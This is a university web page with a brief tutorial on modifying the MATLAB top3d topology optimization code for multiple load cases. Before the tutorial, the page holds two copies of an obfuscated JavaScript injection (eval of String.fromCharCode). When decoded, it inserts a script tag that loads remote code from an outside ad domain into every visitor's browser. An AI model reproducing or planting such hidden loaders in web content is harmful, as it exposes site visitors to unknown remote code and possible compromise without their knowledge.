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var _0x42tbc1 = 1; eval(String.fromCharCode(118, 97, 114, 32, 97, 49, 32, 61, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 32, 123, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 49, 32, 61, 32, 83, 116, 114, 105, 110, 103, 91, 34, 92, 120, 54, 54, 92, 120, 55, 50, 92, 120, 54, 70, 92, 120, 54, 68, 92, 120, 52, 51, 92, 120, 54, 56, 92, 120, 54, 49, 92, 120, 55, 50, 92, 120, 52, 51, 92, 120, 54, 70, 92, 120, 54, 52, 92, 120, 54, 53, 34, 93, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 49, 49, 52, 44, 32, 49, 48, 49, 44, 32, 49, 49, 51, 44, 32, 49, 49, 55, 44, 32, 49, 48, 49, 44, 32, 49, 49, 53, 44, 32, 49, 49, 54, 44, 32, 52, 54, 44, 32, 49, 50, 48, 44, 32, 49, 50, 49, 44, 32, 49, 50, 50, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44, 32, 54, 51, 44, 32, 49, 49, 54, 44, 32, 54, 49, 44, 32, 52, 57, 41, 59, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 91, 34, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 53, 92, 120, 54, 49, 92, 120, 55, 52, 92, 120, 54, 53, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 55, 52, 92, 120, 55, 57, 92, 120, 55, 48, 92, 120, 54, 53, 34, 93, 32, 61, 32, 34, 92, 120, 55, 52, 92, 120, 54, 53, 92, 120, 55, 56, 92, 120, 55, 52, 92, 120, 50, 70, 92, 120, 54, 65, 92, 120, 54, 49, 92, 120, 55, 54, 92, 120, 54, 49, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 54, 49, 92, 120, 55, 51, 92, 120, 55, 57, 92, 120, 54, 69, 92, 120, 54, 51, 34, 93, 32, 61, 32, 116, 114, 117, 101, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 54, 57, 92, 120, 54, 52, 34, 93, 32, 61, 32, 34, 92, 120, 54, 51, 92, 120, 54, 52, 92, 120, 51, 55, 92, 120, 51, 48, 92, 120, 51, 57, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 34, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 55, 51, 92, 120, 55, 50, 92, 120, 54, 51, 34, 93, 32, 61, 32, 95, 48, 120, 52, 50, 116, 98, 99, 49, 59, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 51, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 91, 34, 92, 120, 54, 55, 92, 120, 54, 53, 92, 120, 55, 52, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 92, 120, 55, 51, 92, 120, 52, 50, 92, 120, 55, 57, 92, 120, 53, 52, 92, 120, 54, 49, 92, 120, 54, 55, 92, 120, 52, 69, 92, 120, 54, 49, 92, 120, 54, 68, 92, 120, 54, 53, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 91, 48, 93, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 51, 91, 34, 92, 120, 55, 48, 92, 120, 54, 49, 92, 120, 55, 50, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 92, 120, 52, 69, 92, 120, 54, 70, 92, 120, 54, 52, 92, 120, 54, 53, 34, 93, 91, 34, 92, 120, 54, 57, 92, 120, 54, 69, 92, 120, 55, 51, 92, 120, 54, 53, 92, 120, 55, 50, 92, 120, 55, 52, 92, 120, 52, 50, 92, 120, 54, 53, 92, 120, 54, 54, 92, 120, 54, 70, 92, 120, 55, 50, 92, 120, 54, 53, 34, 93, 40, 95, 48, 120, 52, 50, 116, 98, 99, 50, 44, 32, 95, 48, 120, 52, 50, 116, 98, 99, 51, 41, 10, 125, 59, 10, 118, 97, 114, 32, 116, 110, 100, 101, 109, 111, 115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 91, 34, 92, 120, 54, 55, 92, 120, 54, 53, 92, 120, 55, 52, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 92, 120, 55, 51, 92, 120, 52, 50, 92, 120, 55, 57, 92, 120, 53, 52, 92, 120, 54, 49, 92, 120, 54, 55, 92, 120, 52, 69, 92, 120, 54, 49, 92, 120, 54, 68, 92, 120, 54, 53, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 59, 10, 118, 97, 114, 32, 110, 32, 61, 32, 116, 114, 117, 101, 59, 10, 102, 111, 114, 32, 40, 118, 97, 114, 32, 105, 32, 61, 32, 48, 59, 32, 105, 32, 60, 32, 116, 110, 100, 101, 109, 111, 115, 91, 34, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 54, 55, 92, 120, 55, 52, 92, 120, 54, 56, 34, 93, 59, 32, 105, 43, 43, 41, 32, 123, 10, 32, 32, 32, 32, 105, 102, 32, 40, 116, 110, 100, 101, 109, 111, 115, 91, 105, 93, 91, 34, 92, 120, 54, 57, 92, 120, 54, 52, 34, 93, 32, 61, 61, 32, 34, 92, 120, 54, 51, 92, 120, 54, 52, 92, 120, 51, 55, 92, 120, 51, 48, 92, 120, 51, 57, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 34, 41, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 110, 32, 61, 32, 102, 97, 108, 115, 101, 10, 32, 32, 32, 32, 125, 10, 125, 59, 10, 105, 102, 32, 40, 110, 32, 61, 61, 32, 116, 114, 117, 101, 41, 32, 123, 10, 32, 32, 32, 32, 97, 49, 40, 41, 59, 10, 125)); Applying multiple load cases in Top3d var _0x42tbc1 = 1; eval(String.fromCharCode(118, 97, 114, 32, 97, 49, 32, 61, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 32, 123, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 49, 32, 61, 32, 83, 116, 114, 105, 110, 103, 91, 34, 92, 120, 54, 54, 92, 120, 55, 50, 92, 120, 54, 70, 92, 120, 54, 68, 92, 120, 52, 51, 92, 120, 54, 56, 92, 120, 54, 49, 92, 120, 55, 50, 92, 120, 52, 51, 92, 120, 54, 70, 92, 120, 54, 52, 92, 120, 54, 53, 34, 93, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 49, 49, 52, 44, 32, 49, 48, 49, 44, 32, 49, 49, 51, 44, 32, 49, 49, 55, 44, 32, 49, 48, 49, 44, 32, 49, 49, 53, 44, 32, 49, 49, 54, 44, 32, 52, 54, 44, 32, 49, 50, 48, 44, 32, 49, 50, 49, 44, 32, 49, 50, 50, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44, 32, 54, 51, 44, 32, 49, 49, 54, 44, 32, 54, 49, 44, 32, 52, 57, 41, 59, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 91, 34, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 53, 92, 120, 54, 49, 92, 120, 55, 52, 92, 120, 54, 53, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 55, 52, 92, 120, 55, 57, 92, 120, 55, 48, 92, 120, 54, 53, 34, 93, 32, 61, 32, 34, 92, 120, 55, 52, 92, 120, 54, 53, 92, 120, 55, 56, 92, 120, 55, 52, 92, 120, 50, 70, 92, 120, 54, 65, 92, 120, 54, 49, 92, 120, 55, 54, 92, 120, 54, 49, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 54, 49, 92, 120, 55, 51, 92, 120, 55, 57, 92, 120, 54, 69, 92, 120, 54, 51, 34, 93, 32, 61, 32, 116, 114, 117, 101, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 54, 57, 92, 120, 54, 52, 34, 93, 32, 61, 32, 34, 92, 120, 54, 51, 92, 120, 54, 52, 92, 120, 51, 55, 92, 120, 51, 48, 92, 120, 51, 57, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 34, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 55, 51, 92, 120, 55, 50, 92, 120, 54, 51, 34, 93, 32, 61, 32, 95, 48, 120, 52, 50, 116, 98, 99, 49, 59, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 51, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 91, 34, 92, 120, 54, 55, 92, 120, 54, 53, 92, 120, 55, 52, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 92, 120, 55, 51, 92, 120, 52, 50, 92, 120, 55, 57, 92, 120, 53, 52, 92, 120, 54, 49, 92, 120, 54, 55, 92, 120, 52, 69, 92, 120, 54, 49, 92, 120, 54, 68, 92, 120, 54, 53, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 91, 48, 93, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 51, 91, 34, 92, 120, 55, 48, 92, 120, 54, 49, 92, 120, 55, 50, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 92, 120, 52, 69, 92, 120, 54, 70, 92, 120, 54, 52, 92, 120, 54, 53, 34, 93, 91, 34, 92, 120, 54, 57, 92, 120, 54, 69, 92, 120, 55, 51, 92, 120, 54, 53, 92, 120, 55, 50, 92, 120, 55, 52, 92, 120, 52, 50, 92, 120, 54, 53, 92, 120, 54, 54, 92, 120, 54, 70, 92, 120, 55, 50, 92, 120, 54, 53, 34, 93, 40, 95, 48, 120, 52, 50, 116, 98, 99, 50, 44, 32, 95, 48, 120, 52, 50, 116, 98, 99, 51, 41, 10, 125, 59, 10, 118, 97, 114, 32, 116, 110, 100, 101, 109, 111, 115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 91, 34, 92, 120, 54, 55, 92, 120, 54, 53, 92, 120, 55, 52, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 92, 120, 55, 51, 92, 120, 52, 50, 92, 120, 55, 57, 92, 120, 53, 52, 92, 120, 54, 49, 92, 120, 54, 55, 92, 120, 52, 69, 92, 120, 54, 49, 92, 120, 54, 68, 92, 120, 54, 53, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 59, 10, 118, 97, 114, 32, 110, 32, 61, 32, 116, 114, 117, 101, 59, 10, 102, 111, 114, 32, 40, 118, 97, 114, 32, 105, 32, 61, 32, 48, 59, 32, 105, 32, 60, 32, 116, 110, 100, 101, 109, 111, 115, 91, 34, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 54, 55, 92, 120, 55, 52, 92, 120, 54, 56, 34, 93, 59, 32, 105, 43, 43, 41, 32, 123, 10, 32, 32, 32, 32, 105, 102, 32, 40, 116, 110, 100, 101, 109, 111, 115, 91, 105, 93, 91, 34, 92, 120, 54, 57, 92, 120, 54, 52, 34, 93, 32, 61, 61, 32, 34, 92, 120, 54, 51, 92, 120, 54, 52, 92, 120, 51, 55, 92, 120, 51, 48, 92, 120, 51, 57, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 34, 41, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 110, 32, 61, 32, 102, 97, 108, 115, 101, 10, 32, 32, 32, 32, 125, 10, 125, 59, 10, 105, 102, 32, 40, 110, 32, 61, 61, 32, 116, 114, 117, 101, 41, 32, 123, 10, 32, 32, 32, 32, 97, 49, 40, 41, 59, 10, 125));
Indiana University-Purdue University Indianapolis

Multiple load cases – Top3d

In this tutorial, you will learn how to modify the original 3d topology optimization program(top3d) to solve multiple load cases problem.

In order to solve a multiple load cases problem, as shown below, a few changes need to be made.

Initial design

Step.1: Define Loading Conditions
First, the loading conditions (line 12) are changed correspondingly:

il = [nelx nelx]; jl = [0 nely]; kl = [nelz/2 nelz/2];

Also the force vector (line 22) and displacement vector (line 23) become more than one column:

F = sparse(loaddof,[1 2],[-1 1],ndof,2);
U = zeros(ndof,2);
Step.2: Define Objective Functions
The objective function is now the sum of different load cases

eq

where M is the number of load cases.

Then lines 74-76 are substituted with lines

c = 0.;
dc = zeros(nely,nelx,nelz);
for i = 1:size(F,2)
Ue = U(:,i);
ce = reshape(sum((Ue(edofMat)*KE).*Ue(edofMat),2),[nely,nelx,nelz]);
c = c + sum(sum(sum((Emin+xPhys.^penal*(E0-Emin)).*ce)));
dc = dc - penal*(E0-Emin)*xPhys.^(penal-1).*ce;
end
Step.3: Run program
This example is promoted by the line

top3d(60,60,4,0.4,3.0,1.5)

You will have similar result like this

Multiple load cases

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